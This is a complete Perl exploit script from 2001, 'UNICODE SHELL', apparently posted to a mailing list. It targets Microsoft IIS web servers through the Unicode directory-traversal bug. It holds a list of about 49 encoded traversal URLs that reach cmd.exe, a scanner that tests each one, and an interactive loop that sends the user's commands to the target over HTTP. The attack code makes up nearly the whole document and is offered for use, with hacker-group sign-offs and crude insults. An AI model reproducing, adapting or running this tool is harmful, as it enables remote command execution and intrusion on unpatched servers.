#!/usr/bin/perl -w
#
# UNICODE SHELL - by pakk. TeaM whit3hatz
# A Unicode HTTP exploit for Micro$oft NT IIS WebServers.
#
# First tries to get IIS Server string. 
# Scans for usable Unicode URL in 20 different ways.
# Then allows choice of which URL to use including an URL of
# your own design eg. After copying cmd.exe to /scripts.
# Commands are executed via your choice of URL on the target
# server.
# 
# URL can be changed at anytime by typing URL. 
# The Webserver can be re-SCANed at anytime by typing SCAN.
# Program can be QUIT at anytime by typing QUIT.
# HELP prints this ...
# TANG INA MO !


use strict;
use IO::Socket;

# Globals Go Here.
my $host;     # Host being probed.
my $port;     # Webserver port.
my $command;     # Command to issue.
my $url;     # URL being used.
my @results;     # Results from server.
my $probe;     # Whether to display output.
my @U;     # Unicode URLS. 

# URLS - Feel free to add here.
# $U[0] always used for custom URL.
$U[1] = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$U[2] = "/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[3] = "/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$U[4] = "/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$U[5] = "/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$U[6] = "/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$U[7] = "/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$U[8] = "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[9] = "/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
$U[10] = "/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
$U[11] = "/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$U[12] = "/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[13] = "/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[14] = "/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+";
$U[15] = "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[16] = "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[17] = "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[18] = "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[19] = "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[20] = "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[21] = "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\cmd.exe?/c+";
$U[22] = "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
$U[23] = "/_vti_bin/..%c0%af../winnt/system32/cmd.exe?/c+";
$U[24] = "/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
$U[25] = "/scripts/%c1%9c/winnt/system32/cmd.exe?/c+";
$U[26] = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$U[27] = "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$U[28] = "/cgi-bin/..\..\..\..\..\..\winnt\system32\cmd.exe?/c+";
$U[29] = "/_vti_bin/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$U[30] = "/msadc/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$U[31] = "/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+";
$U[32] = "/scripts/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/winnt/system32/cmd.exe?/c+";
$U[33] = "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+";
$U[34] = "/cgi-bin/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/winnt/system32/cmd.exe?/c+";
$U[35] = "/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+";
$U[36] = "/pbserver/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+";
$U[37] = "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+";
$U[38] = "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+";
$U[39] = "/msadc/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/winnt/system32/cmd.exe?/c+";
$U[40] = "/pbserver/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/winnt/system32/cmd.exe?/c+";
$U[41] = "/iisadmpwd/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/winnt/system32/cmd.exe?/c+";
$U[42] = "/_vti_bin/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/winnt/system32/cmd.exe?/c+";
$U[43] = "/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
$U[44] = "/scripts/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
$U[45] = "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[46] = "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[47] = "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[48] = "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[49] = "/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";

# SUBROUTINES GO HERE. 
&intro;
&scan;
&choose;
&command;
&exit; # Play safe with this .

sub intro {
&help;
&host;
&server;
sleep 3;
};

# host subroutine.
sub host {
print "\nHost : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="localhost"};
print "\nPort : ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};     # end host subroutine.

# Server string subroutine.
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\nTrying to obtain IIS Server string ...";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
     $output = $results[$X];
     if (defined $output){
     if ($output =~/IIS/){ $webserver = "iis" };
     };
};
if ($webserver ne "iis"){
print "\a\a\n\nWARNING : UNABLE TO GET IIS SERVER STRING.";     
print "\nThis Server may not be running Micro\$oft IIS WebServer";
print "\nand therefore may not be exploitable using the"; 
print "\nUnicode Bug.";
print "\n\n\nDo You Wish To Cont ... [Y/N]";
my $choice = <STDIN>;
chomp $choice;
if ($choice =~/N/i) {&exit};
            }else{
print "\n\nOK ... It Seems To Be Micro\$oft IIS.";
     };     
};  # end server subroutine.

# scan subroutine.
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\nScanning Webserver $host on port $port ...";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) { 
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
                              $flag = "1";
           $status = "vulnerable";
           };
     };

if ($flag eq "0") { 
print "\n$host is not vulnerable to Unicode URL Number $loop.";
}else{
print "\a\a\a\n$host IS VULNERABLE TO UNICODE URL NUMBER $loop !!!";
     };
};
if ($status eq "not_vulnerable"){
     print "\n\nSORRY $host is NOT Vulnerable to the UNICODE Exploit.";
     &exit;
     };
}; # end scan subroutine.

# choose URL subroutine.
sub choose {
print "\nURL To Use [0 = Other]: ";
my $choice=<STDIN>;
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
print "\nURL: HTTP://$host$url"; 
}; # end choose URL subroutine.

# Other URL subroutine.
sub other {
print "\nURL [minus command] eg: HTTP://$host\/scripts\/cmd.exe?\/+"; 
print "\nHTTP://$host";
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
};  # end other subroutine.

# Command subroutine.
sub command {
while ($command !~/quit/i) {
print "\nHELP QUIT URL SCAN Or Command eg dir C: ";
print "\nCommand :";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose }; 
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g; # remove white space.
print "HTTP://$host$url$command";
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};  # end command subroutine.

# Connect subroutine.
sub connect {
my $connection = IO::Socket::INET->new (
     Proto => "tcp",
     PeerAddr => "$host",
     PeerPort => "$port",
     ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command HTTP/1.0\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.0\r\n\r\n";
};

while ( <$connection> ) { 
     @results = <$connection>;
      };
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};  # end connect subroutine.

# output subroutine.
sub output{
print "\nOUTPUT FROM $host. \n\n";
my $display;
# if probe is a for server string display only first 10 lines.
if ($probe eq "string") {
     my $X;
     for ($X=0; $X<=10; $X++) {
     $display = $results[$X];
     if (defined $display){print "$display";};
     sleep 1;
     };
# else print all server output to the screen.
     }else{
     foreach $display (@results){
         print "$display";
         sleep 1;
     };
                          };
};  # end output subroutine.

# exit subroutine.
sub exit{
print "\n\n\nIf You Cant find a glitch Then Just B#.";
print "\nByeeeeee ... !!!";
print "\n\n\n";
exit;
};

# Help subroutine.
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n UNICODE SHELL by pakk. 2001.";
print "\n pakk\@secureroot.Com ";
print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "\n A Unicode HTTP exploit for Micro\$oft NT IIS WebServers.";
print "\n";
print "\n First tries to get IIS Server string.";
print "\n Scans for usable Unicode URL in 20 different ways.";
print "\n Then allows choice of which URL to use including an URL of";
print "\n your own design eg. After copying cmd.exe to /scripts.";
print "\n Commands are executed via your choice of URL on the target";
print "\n server.";
print "\n ";
print "\n URL can be changed at anytime by typing URL."; 
print "\n The Webserver can be re-SCANed at anytime by typing SCAN.";
print "\n Program can be QUIT at anytime by typing QUIT.";
print "\n HELP prints this ... ";
print "\n ENJOY !";
print "\n\n\n";
}; # end help subroutine.


# simple unicode exploit by pakk ...
#
# Thanks To :
# Micro$oft For Being What It Is !  
# FucK You Locusts ... TeaM whit3hatz Longlive!
# U-Know-Who-U-R
#
#
# pakk^ #ii3 . 2001.
# pakk@secureroot.com
# BrinGinG DoT Ph DowN 0nE By 0nE.
#  EOF .





------------------------------------------------------------
Free Web Email provided by http://www.putanginamo.com
http://www.ModelFocus.com - Filipino Models online!


---------------------------------------------------------------------
Express yourself with a super cool email address from BigMailBox.com.
Hundreds of choices. It's free!
http://www.bigmailbox.com
---------------------------------------------------------------------